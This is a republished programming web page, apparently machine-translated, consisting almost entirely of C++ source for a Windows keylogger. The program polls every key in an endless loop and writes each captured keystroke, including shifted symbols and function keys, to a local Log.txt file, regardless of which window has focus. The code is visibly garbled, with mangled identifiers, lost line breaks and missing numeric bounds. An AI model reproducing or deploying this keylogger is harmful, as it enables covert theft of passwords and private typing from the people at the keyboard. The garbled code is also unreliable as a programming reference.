Windows simulates keyboard events with no cursor focus and presses the keyboard to save pressed keyboard characters

Source: Internet
Author: User

#include <iostream> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include < winuser.h> #include <string> #include <fstream>using namespace std;const int keyboardvalue = 0x80000000; string getkeyname (int); bool Judgeshift (); int main () {string FileName = "Log.txt"; string KeyName = ""; FStream filestream;/ /filestream.open (Filename.c_str (), std::fstream::out | std::fstream::app); Filestream.open (Filename.c_str ()), while (1) {//sleep (5),//filestream.open (Filename.c_str ()); for (int i = 8; I <= 255 ; i++) {if (Getasynckeystate (i) & 1 = = 1)//Determines whether the virtual key is pressed, whether it is pressed or pressed, only to determine if the {KeyName = Getkeyname (i) is pressed; FileStream.Write (Keyname.c_str (), keyname.size ());   Filestream.close (); Save once after you write Filestream.open (Filename.c_str ());//filestream.open (Filename.c_str (), Std::fstream::out | std::fstream :: App);}}} return 0;} string getkeyname (int numkey) {bool Is_shift = Judgeshift (); String revalue = "";//determine the special symbol in the middle of the keyboard if (Numkey >= 186 &&amp ; Numkey <= 222) switch (numkey) {case 186:if (is_shift) revalue = ":"; elserevalue = ";"; Break;case 187:if (is_shift) revalue = "+"; elserevalue = "="; break;case 188:if (is_shift) revalue = "<"; Elserevalue = "," ; break;case 189:if (is_shift) Revalue = "_"; elserevalue = "-"; break;case 190:if (is_shift) revalue = ">"; elserevalue = ". "; break;case 191:if (is_shift) revalue ="? "; Elserevalue = "/"; break;case 192:if (is_shift) revalue = "~"; elserevalue = "'"; break;case 219:if (is_shift) revalue = "{"; El Serevalue = "["; break;case 220:if (is_shift) revalue = "|"; Elserevalue = "\"; break;case 221:if (is_shift) revalue = "}"; elserevalue = "]"; break;case 222:if (is_shift) revalue = ' "'; e Lserevalue = ",";d efault:revalue = "error"; if (Numkey = = vk_escape)//exit revalue = "[ESC]", else if (Numkey = = vk_f1)//F1 to F12revalue = "[F1]"; else if (Numkey = = Vk_  F2) revalue = "[F2]", else if (Numkey = = vk_f3) revalue = "[F3]"; else if (Numkey = vk_f4) revalue = "[F4]"; else if (Numkey = VK_F5) revalue = "[F5]"; else if (Numkey == Vk_f6) revalue = "[F6]", else if (Numkey = = vk_f7) revalue = "[F7]"; else if (Numkey = vk_f8) revalue = "[F8]"; else if (numk EY = = vk_f9) revalue = "[F9]", else if (Numkey = = vk_f10) revalue = "[F10]"; else if (Numkey = vk_f11) revalue = "[F11]"; else if (Numkey = = vk_f12) revalue = "[F12]"; else if (Numkey = = vk_snapshot)//PRINT Screen revalue = "[Prscrn]"; else if (Numkey = = vk_s CROLL)//SCROLL LOCK revalue = "[Scroll lock]", else if (Numkey = = vk_pause)//pause, interrupt revalue = "[Pause]"; else if (Numkey = = Vk_cap ITAL)//Caps LOCK revalue = "[Caps lock]", else if (Numkey = = 8)//<-back Bar revalue = "[Backspace]"; else if (Numkey = = Vk_return )//Enter, newline revalue = "[enter]\n"; else if (Numkey = = vk_space)//Space revalue = ""; else if (Numkey = vk_tab)//tab revalue = "[Tab]", else if (Numkey = = Vk_lcontrol)//left control key revalue = "[Ctrl]", else if (Numkey = = Vk_rcontrol)//Right Control key revalue = "[CTR L] "; else if (Numkey = = Vk_lmenu)//left SHIFT key revalue =" [Alt] "; else if (Numkey = = vk_lmenu)//Right SHIFT key revalue =" [Alt] "; else if (N Umkey = = Vk_lwin)//Right Windows Key revalue = "[win]", else if (Numkey = = Vk_rwin)//Right WINDOWS key revalue = "[win]"; else if (Numkey = = Vk_apps)//keyboard Right Key revalue = "right Button", else if (Numkey = = Vk_insert)//Insert revalue = "[insert]", else if (Numkey = = vk_delete)//Delete revalue = "[Del ETE] ", else if (Numkey = = vk_home)//Start revalue =" [HOME] ", else if (Numkey = = vk_end)//End revalue =" [end] "; else if (Numke y = = Vk_prior)//Previous Page revalue = "[PgUp]"; else if (Numkey = = vk_next)//Next revalue = "[Pgdown]";//Infrequently used keys: General keyboard does not have else if (N  Umkey = = vk_cancel)//Cancelrevalue = "[CANCEL]", else if (Numkey = = vk_clear)//Clearrevalue = "[CLEAR]", else if (numkey = = Vk_select)//selectrevalue = "[select]", else if (Numkey = = vk_print)//printrevalue = "[PRINT]"; else if (Numkey = = Vk_ Execute)//executerevalue = "[Execute]";//----------------------------------------//else if (Numkey = = vk_left)//up, down, Left and right revalue = "[←]", else if (Numkey = = vk_right) revalue = "[→]"; else if (Numkey = vk_up) revalue = "[↑]"; else if (Numkey = = Vk_down) revalue = "[↓]"; ElSe if (numkey = = vk_numlock)//keypad digital Lock revalue = "[NumLock]"; else if (Numkey = = Vk_add)//Add, subtract, multiply, divide revalue = "+"; else if (Num Key = = vk_subtract) revalue = "-"; else if (Numkey = = vk_multiply) Revalue = "*"; else if (Numkey = vk_divide) revalue = "/"; E LSE if (Numkey = = 190 | | Numkey = = 110)//keypad. and keyboard. Revalue = "."; /keypad number key: 0-9else if (Numkey = = vk_numpad0) revalue = "0"; else if (Numkey = = vk_numpad1) revalue = "1"; else if (Numkey = = Vk_n UMPAD2) revalue = "2", else if (Numkey = = vk_numpad3) Revalue = "3", else if (Numkey = = vk_numpad4) Revalue = "4"; else if (numk EY = = vk_numpad5) Revalue = "5", else if (Numkey = = vk_numpad6) Revalue = "6", else if (Numkey = = Vk_numpad7) revalue = "7"; Els E if (Numkey = = Vk_numpad8) Revalue = "8", else if (Numkey = = vk_numpad9) Revalue = "9";//----------------------------The above code-judging key function keys except letters on the disk--------------------------------//else if (numkey >= && numkey <=) {if (getkeystate Capital) {if (is_shift) revalue = Numkey + 32;elserevalue = Numkey;} Else{if (is_shIFT) revalue = Numkey;elserevalue = Numkey + 32;}} ---------------------------the above section to determine the letters on the keyboard----------------------------------------------//else if (Numkey >= 48 && Numkey <=) {if (is_shift) {switch (numkey) {case 48:revalue = ")"; Break;case 49:revalue = "!"; Break;case 5 0:revalue = "@"; Break;case 51:revalue = "#"; Break;case 52:revalue = "$"; Break;case 53:revalue = "%"; Break;case 54:revalue = "^"; Break;case 55:revalue = "&"; Break;case 56:revalue = "*"; Break;case 57:revalue = "("; Break;}} Else{switch (numkey) {case 48:revalue = "0"; Break;case 49:revalue = "1"; Break;case 50:revalue = "2"; Break;case 51:revalu E = "3"; Break;case 52:revalue = "4"; Break;case 53:revalue = "5"; Break;case 54:revalue = "6"; Break;case 55:revalue = "7"; Break;case 56:revalue = "8"; Break;case 57:revalue = "9"; Break;}}} return revalue;}  BOOL Judgeshift () {int ishift = getkeystate (0x10);//Judgment Shift key state bool is = (Ishift & keyboardvalue) = = Keyboardvalue; Represents holding down the SHIFT key if (IS) return 1;eLsereturn 0;} 

Windows simulates keyboard events with no cursor focus and presses the keyboard to save pressed keyboard characters

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.